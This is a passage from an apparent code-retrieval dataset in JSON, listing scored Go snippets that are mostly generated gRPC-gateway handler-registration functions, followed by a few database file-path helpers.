cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterCompassServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "657e7e3c3c017eed72b37f5ec35a24ae", "score": "0.59633255", "text": "func RegisterRobotAllocationHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterRobotAllocationHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "910599d77d214f869ba36cbf4a810701", "score": "0.5961297", "text": "func RegisterZarbHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterZarbHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "9f6744ee9e084620e97617b5ce5afe4f", "score": "0.59314966", "text": "func RegisterUTMAPIUSSDSSAndUSSUSSServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterUTMAPIUSSDSSAndUSSUSSServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "4f5e70b166e1f1b5a1b6ae361f0e4a1d", "score": "0.5927211", "text": "func RegisterAccountServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterAccountServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "f6c10b69acb876ad782ad9beac0148ed", "score": "0.59185123", "text": "func RegisterSlackgistHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\r\n\tconn, err := grpc.Dial(endpoint, opts...)\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\tdefer func() {\r\n\t\tif err != nil {\r\n\t\t\tif cerr := conn.Close(); cerr != nil {\r\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\r\n\t\t\t}\r\n\t\t\treturn\r\n\t\t}\r\n\t\tgo func() {\r\n\t\t\t<-ctx.Done()\r\n\t\t\tif cerr := conn.Close(); cerr != nil {\r\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\r\n\t\t\t}\r\n\t\t}()\r\n\t}()\r\n\r\n\treturn RegisterSlackgistHandler(ctx, mux, conn)\r\n}", "title": "" }, { "docid": "9622015f1ed86f4453dead02d6ef4d67", "score": "0.5908509", "text": "func RegisterProfilesHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterProfilesHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "2488b186804340a88b909e8ca7c89cd8", "score": "0.59005743", "text": "func RegisterTasksHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterTasksHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "b15afbd3835b153b695b5cf950cb1eb7", "score": "0.58887196", "text": "func RegisterClassRoomServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterClassRoomServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "01e4036fd17c7ff1e92c959bf69454ce", "score": "0.5863031", "text": "func RegisterFollowersHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterFollowersHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "406fffaf9b5e1c973f5f56f62104096e", "score": "0.5857435", "text": "func RegisterCollectorServiceV1HandlerClient(ctx context.Context, mux *runtime.ServeMux, client CollectorServiceV1Client) error {\n\n\tmux.Handle(\"POST\", pattern_CollectorServiceV1_PostSpans_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tif cn, ok := w.(http.CloseNotifier); ok {\n\t\t\tgo func(done <-chan struct{}, closed <-chan bool) {\n\t\t\t\tselect {\n\t\t\t\tcase <-done:\n\t\t\t\tcase <-closed:\n\t\t\t\t\tcancel()\n\t\t\t\t}\n\t\t\t}(ctx.Done(), cn.CloseNotify())\n\t\t}\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_CollectorServiceV1_PostSpans_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CollectorServiceV1_PostSpans_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "2029ba4910bd6a96cb8bd5a5f48efe4e", "score": "0.5841245", "text": "func RegisterAtlasCliTestHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterAtlasCliTestHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "d083f26deb3bf5bd1a7adcd02c27842c", "score": "0.58398414", "text": "func RegisterUsersHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterUsersHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "2bb4739d0cbfa4da79a89ff516bbf784", "score": "0.5821273", "text": "func RegisterCardCommandServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterCardCommandServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "a379cd41738937b22e8dad674a4d46e3", "score": "0.5814449", "text": "func RegisterMetadataCompositeStoreHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterMetadataCompositeStoreHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "cba73aa692494b55710caf95fef8315f", "score": "0.57996446", "text": "func RegisterNakamaHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterNakamaHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "cba73aa692494b55710caf95fef8315f", "score": "0.57996446", "text": "func RegisterNakamaHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterNakamaHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "cba73aa692494b55710caf95fef8315f", "score": "0.57996446", "text": "func RegisterNakamaHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterNakamaHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "452765f927f95a3508f6e5aa406d4762", "score": "0.57939196", "text": "func RegisterPlayerSpeechServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterPlayerSpeechServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "f1c5d42218a8def61bf305e930d8bf25", "score": "0.5793582", "text": "func RegisterQueryServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.DialContext(ctx, endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterQueryServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "52d06be83457070d1132564b4f130c24", "score": "0.57404524", "text": "func RegisterAccountHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterAccountHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "205b5db91a2fe05a0b4e5adfbfd0bb82", "score": "0.5733783", "text": "func RegisterAccountsHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterAccountsHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "8731f357058312720f55751a95dc64a9", "score": "0.57008797", "text": "func RegisterDaprHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterDaprHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "aa3e84228f3dac7bf0a34378287968f8", "score": "0.56305575", "text": "func RegisterMruVMovableObjectsServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterMruVMovableObjectsServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "f0a09998419ee8c4171d9183314b2775", "score": "0.5610832", "text": "func RegisterQueryHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterQueryHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "f0a09998419ee8c4171d9183314b2775", "score": "0.5610832", "text": "func RegisterQueryHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterQueryHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "f0a09998419ee8c4171d9183314b2775", "score": "0.5610832", "text": "func RegisterQueryHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterQueryHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "877959b23537e4baa3029fcf79a4e1ef", "score": "0.5530331", "text": "func (s *service) RegisterWithEndpoint(ctx context.Context, mux *runtime.ServeMux, addr string, opts []grpc.DialOption) {\n\tpb.RegisterGreeterHandlerFromEndpoint(ctx, mux, addr, opts)\n}", "title": "" }, { "docid": "c164bb147a0fda80d7f12f3ad1b75e96", "score": "0.54830176", "text": "func RegisterTrillianLogHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Printf(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterTrillianLogHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "59add34cfc2816bb5d33c96fa1ca48c4", "score": "0.54508746", "text": "func RegisterCardQueryServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterCardQueryServiceHandler(ctx, mux, conn)\n}", "title": "" }, { "docid": "396c4eefa6d2df805c99b38efa76db04", "score": "0.52416736", "text": "func (dhs DefaultHTTPServer) RegisterEndpoint(endpoint string, handler Handler) {\n\tdhs.logger.Debug(fmt.Sprintf(\"Registering handler on endpoint '%s'\", endpoint))\n\tdhs.mux.HandleFunc(endpoint, handler)\n}", "title": "" }, { "docid": "6964fe29735fa9f9c141cf674d457777", "score": "0.5232793", "text": "func (ListenerImpl) EndpointAdded(ctx context.Context, endpoint *Endpoint) {}", "title": "" }, { "docid": "b5edc1ca39f55499a139ef1ca2330941", "score": "0.51467985", "text": "func CollectEndpoint(endpoint string, result interface{}) error {\n\tif endpoint == \"\" {\n\t\terr := errors.New(\"endpoint cannot be empty\")\n\t\tlog.Error(\"Error collecting endpoint: %v\", err)\n\t\treturn err\n\t}\n\tif result == nil {\n\t\terr := errors.New(\"the result destination for the endpoint cannot be nil\")\n\t\tlog.Error(\"Error collecting endpoint: %v\", err)\n\t\treturn err\n\t}\n\trequest, err := createRequest(endpoint)\n\tif err != nil {\n\t\tlog.Error(\"Error creating request to Management API: %v\", err)\n\t\treturn err\n\t}\n\tif err := collectEndpoint(request, result); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" } ]
f671de8d46efaa034c89e5f1578f41b0
return full path of the datbase along with the file extension
[ { "docid": "bbed6f0fdb4d6fba0c6a84611a0708f6", "score": "0.6243614", "text": "func path(database string) string {\n\treturn \"/tmp/gsdb/\" + database + \".gsdb\"\n}", "title": "" } ]
[ { "docid": "3814435032e640a9fdcd336e87499870", "score": "0.6581062", "text": "func (config Database) ext() string {\n\tif config.Ext == \"\" {\n\t\treturn DEFAULT_EXT\n\t} else if strings.HasPrefix(\".\", config.Ext) {\n\t\treturn config.Ext\n\t} else {\n\t\treturn \".\" + config.Ext\n\t}\n}", "title": "" }, { "docid": "5916c6d519a7f16ea3e8e1be752f955e", "score": "0.64249986", "text": "func (db *DB) filePath(name string) string {\n\treturn path.Join(db.Path, name)\n}", "title": "" }, { "docid": "0946a70e0d6e1ec5e2fa7b3e71f938c3", "score": "0.6271526", "text": "func DataPath() string {\n\tif exist(dataDbName) {\n\t\treturn dataDbName\n\t}\n\n\tuserScope := gap.NewScope(gap.User, appName)\n\tpath, err := userScope.DataPath(dataDbName)\n\n\tif err != nil {\n\t\treturn dataDbName\n\t}\n\n\treturn path\n}", "title": "" }, { "docid": "64cc7b8049135212f6ae8c77955ac047", "score": "0.6210622", "text": "func GetDBPath(t string, d bool) string {\n\tvar (\n\t\tp string\n\t\tdir string\n\t)\n\tif d {\n\t\tdir = \"/home/sun/Works/gopath/src/porn_movie\"\n\t} else {\n\t\tpath, err := os.Executable()\n\t\tif err != nil {\n\t\t}\n\t\tdir = filepath.Dir(path)\n\t}\n\n\tp = \"movie.db\"\n\tif t == \"level\" {\n\t\tp = \"Cache\"\n\t}\n\treturn strings.Join([]string{dir, p}, \"/\")\n}", "title": "" }, { "docid": "20753ae16c99d99fd52fc631021a9fbb", "score": "0.6179783", "text": "func DbPath() string {\n\treturn path.Join(PickleDir, DbName)\n}", "title": "" }, { "docid": "ba5a496861416257857b00df163286cf", "score": "0.609848", "text": "func (db *LDBDatabase) Path() string {\n\treturn db.fn\n}", "title": "" }, { "docid": "cfed3ed4e13bb49fa574219aeea48b4b", "score": "0.6080782", "text": "func (dbHelper *DbHelper) GetDbFilePath(connectionString string) string {\n\tif len(connectionString) > 0 {\n\t\treturn fmt.Sprintf(\"./%s.db?%s\", dbHelper.Name, connectionString)\n\t}\n\treturn fmt.Sprintf(\"./%s.db\", dbHelper.Name)\n}", "title": "" }, { "docid": "045091df585b780f7015ed43f8707c4c", "score": "0.60709286", "text": "func GetDbFilePath(userName string) string 